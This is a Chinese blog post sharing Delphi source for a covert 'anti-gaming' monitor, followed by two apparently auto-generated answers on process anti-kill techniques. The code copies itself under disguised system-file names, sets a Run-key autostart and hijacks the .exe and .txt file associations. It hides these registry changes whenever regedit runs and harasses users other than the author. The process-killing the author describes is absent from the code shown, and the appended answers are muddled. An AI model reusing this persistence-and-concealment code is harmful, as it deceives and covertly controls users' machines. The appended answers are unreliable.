DELPHI实现关闭指定进程,自身防杀

偶然翻到很久以前用DELPHI写的一个小程序,实现功能是在后台默默关闭符合条件的进程,并隐藏自身。编写目的是为了防止办公电脑运行游戏。

实现原理是:

1、程序运行后将自身以不同的名称一式三份存到系统各目录中,将其中一个COPY写到注册表里开机自启动,然后修改注册表中txt文件和exe文件打开方式分别指向另两个COPY,达到监控目的。

2、程序一但激活首先会确认各COPY是否存在以及注册表关联是否正常,然后再检查系统是否运行在禁止名单中的进程,发现就杀死。

3、如果程序监控到用户运行regedit则会将注册表改回正常值,当regedit退出后再将修改写回,以防用户发现。(这在杀毒软件还很落后的年代效果还是相当好的)

4、程序保留了卸载的功能,代码里有写。

自己感觉挺有意思,把代码发上来留个纪念。

 

//为了防止一些人上班就玩游戏的恶习所编
program HK;

uses
  Windows,
  Messages,
  SysUtils,
  System,
  Classes,
  Registry,
  Forms,
  Controls,
  LoadDLL in 'LoadDLL.pas';
 
var
  I:Integer;
  SPath,WPath:PCHAR;
  pa:string;
  hnd: THandle;
  sp:boolean;
  sFileName:String;


//function RegisterServiceProcess(dwProcessId, dwServiceType: DWord): Bool; stdcall;

//function RegisterServiceProcess; external 'Kernel32.dll' Name 'RegisterServiceProcess';

procedure procRun(exeName,exePath:PChar;trace:boolean);
var
  SUInfo: TStartupInfo;
  ProcInfo: TProcessInformation;
begin
FillChar(SUInfo, SizeOf(SUInfo), #0);
with SUInfo do
  begin
    cb := SizeOf(SUInfo);
    dwFlags := STARTF_USESHOWWINDOW;
    wShowWindow :=1;
  end;
if CreateProcess(NIL,exeName, NIL, NIL, FALSE,CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, NIL,exePath, SUInfo, ProcInfo) then
  begin
    if trace then
      WaitForSingleObject(ProcInfo.hProcess, INFINITE);
    CloseHandle(ProcInfo.hProcess);
    CloseHandle(ProcInfo.hThread);
  end;
end;

procedure procSetReg(rest:boolean);
var
   Reg:TRegistry;
begin
   Reg:=Tregistry.Create;
   try
   if rest then
   begin
     reg.rootkey:=HKEY_CLASSES_ROOT;
     if reg.OpenKey('\txtfile\shell\open\command',true) then
        reg.WriteExpandString('',WPath+'\NOTEPAD.exe %1');
     reg.closekey;
     if reg.OpenKey('\exefile\shell\open\command',true) then
        reg.WriteExpandString('','"%1" %*');
     reg.closekey;
     reg.RootKey:=HKEY_LOCAL_MACHINE;
     if reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',True) then
        reg.DeleteValue('SysOleRun');
      reg.closekey;
   end
   else
   begin
      reg.RootKey:=HKEY_LOCAL_MACHINE;
      if reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',True) then
          reg.writestring('SysOleRun',spath+'\ObjDDC.exe');
      Reg.CloseKey;
      reg.rootkey:=HKEY_CLASSES_ROOT;
      if reg.OpenKey('\txtfile\shell\open\command',true) then
          reg.WriteExpandString('',spath+'\WinODBC.exe %1');
      reg.closekey;
      if reg.OpenKey('\exefile\shell\open\command',true) then
          reg.WriteExpandString('',spath+'\OLEDevice.exe %1 %*');
      reg.closekey;
   end;
  finally
    Reg.Free;
  end;
end;

procedure BeepEx(feq:word=1200;delay:word=1);

  procedure BeepOff;
   begin
     asm
       in al,$61;
       and al,$fc;
       out $61,al;
     end;
  end;
const
  scale=1193180;
var
  temp:word;
begin
  temp:=scale div feq;
  asm
    in al,61h;
    or al,3;
    out 61h,al;
    mov al,$b6;
    out 43h,al;
    mov ax,temp;
    out 42h,al;
    mov al,ah;
    out 42h,al;
  end;
  sleep(delay);
  beepoff;
end;

procedure UserPass();
var
   a,b:integer;
   t:longword;
   UserName:PCHAR;
begin
   if sp then
      begin
       t:=255;
      GetMem(UserName,255);
      try
        getusername(UserName,t);
        if UserName<>'lykyl' then
          begin
             messagebox(0,'非法用户,操作限制!','系统警告!',MB_OK);
             for a:=1 to 1 do
              begin
              SendMessage(0, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
               for b:=1 to 2 do
                 begin
                      BeepEx(1500,200);
                      beepex(3000,200);
                 end;
               SendMessage(0, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
               messagebox(0,'非法用户身份确定','系统警告!',MB_OK);
              end;
          end;
        finally
          freemem(UserName);
        end;
      end;
end;
  {$R *.RES}

begin
   hnd := CreateMutex(nil, True, 'irgendwaseinmaliges');
   if GetLastError = ERROR_ALREADY_EXISTS then
      sp:=false
   else
      sp:=true;
  //RegisterServiceProcess(0, RSP_SIMPLE_SERVICE);
  GetMem(SPath,255);
  GetMem(WPath,255);
  GetSystemDirectory(SPath,255);
  GetWindowsDirectory(WPath,255);
  SetLength(sFileName,255);
  GetModuleFileName(GetCurrentProcess,Pchar(sFileName),255);
  sFileName:=Pchar(sFileName);
  try
    if ExtractFileName(sFileName)='lykyl.exe' then
       procSetReg(true)
    else
    begin
    Copyfile(pchar(sFileName),pchar(spath+'\WinODBC.exe'),false);
    Copyfile(pchar(sFileName),pchar(spath+'\OLEDevice.exe'),false);
    Copyfile(pchar(sFileName),pchar(WPath+'\ObjDDc.exe'),false);
    procSetReg(false);
    for i:=1 to ParamCount do
        if i=1 then
           pa:=ParamStr(i)
        else
           pa:=pa+' '+ParamStr(i);
    if Pa <>'' then
      begin
          if ExtractFileName(sFileName)='WINODBC.EXE' then
            begin
              UserPass();
              procRun(PChar(WPath+'\NOTEPAD.EXE '+pa),PChar(ExtractFilePath(WPath+'\')),false);
            end
          else
              if ExtractFileName(sFileName)='OLEDEVICE.EXE' then
               begin
                  UserPass();
                  if AnsiStrPos(pchar(pa),'regedit')<>nil then
                     begin
                          procSetReg(true);
                          procRun(PChar(pa),PChar(ExtractFilePath(pa)),true);
                          procSetReg(false);
                     end
                  else
                     begin
                         procRun(PChar(pa),pchar(extractfilepath(pa)),false);
                     end;
               end;
      end;
      end;
  finally
    freemem(SPath);
    freemem(WPath);
    if hnd <> 0 then CloseHandle(hnd);
//    RegisterServiceProcess(0, RSP_UNREGISTER_SERVICE);
  end;
end.

 

### 回答1: Delphi 是一种应用程序开发环境,可以用于开发 Windows 平台的程序。在 Delphi 中,有一个函数叫做 OpenProcess(),可以用来打开一个已知的进程,以便进行操作。但是,在某些情况下,程序可能会被杀毒软件或系统安全软件误判为恶意程序,从而被关闭或禁用。因此,为了防止这种情况发生,需要对 OpenProcess() 进行处理。 一种常用的做法是使用隐藏驱动程序,通过驱动程序操作,使进程无法被杀死。具体而言,就是在 Delphi 中调用驱动程序的接口,利用驱动程序的操作能力来完成进程的操作。该方法需要驱动程序具有管理员权限并且安装到系统目录下,否则无法执行。 另一种方法是通过代理程序来进行进程操作。代理程序的作用是代理 Delphi 程序进行进程操作,因此可以防止系统安全软件或杀毒软件对 Delphi 程序的干扰。具体实现方法是对需要操作的进程进行内存地址偏移,并将偏移后的地址传递给代理程序进行操作。代理程序要在系统启动时启动,并以管理员权限运行。 总之,为了保证 Delphi 程序正常运行,需要对进程防杀技术进行深入的研究和应用。同时,需要注意遵守相关法律法规,防止在使用该技术时违反相关规定。 ### 回答2: Delphi是一种常用的开发语言,可以用于开发Windows平台上的程序,包括进程管理方面,其中包括进程防杀的技术。 在Delphi中,通过使用openprocess()方法可以获取到一个指定进程句柄,该句柄可以用于访问和控制该进程中的资源和数据。然而,该方法也为恶意程序提供了可乘之机,使得它们可以通过获取并关闭进程句柄来绕过杀毒软件等安全监控程序的控制,并在后台进行潜伏和恶意操作。 针对上述问题,可以通过以下几种方式来增强Delphi进程防杀的效果: 1. 使用特权级别高的进程权限 在使用openprocess()方法时,可以通过设置相应的访问权限,获取特权级别高的进程句柄来提高进程防杀的效果。这样便可以避免恶意程序通过低权限进程句柄来操纵系统进程的情况发生。 2. 密钥加密和动态域名解析的技术 在进程防杀方面,可以采用密钥加密和动态域名解析的技术来增强程序的安全性,增加恶意程序绕过的难度。 3. 监控并直接关闭恶意进程 同时,可以采用监控进程的方式来检测恶意进程,在检测到后直接关闭进程,从而有效地遏制其恶意行为。 总之,Delphi进程防杀在开发防御恶意程序的应用程序过程中,必须要仔细考虑不同场景下的安全问题,结合不同的技术手段和方法来增强进程的安全性,以防止不法分子的入侵和恶意操作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值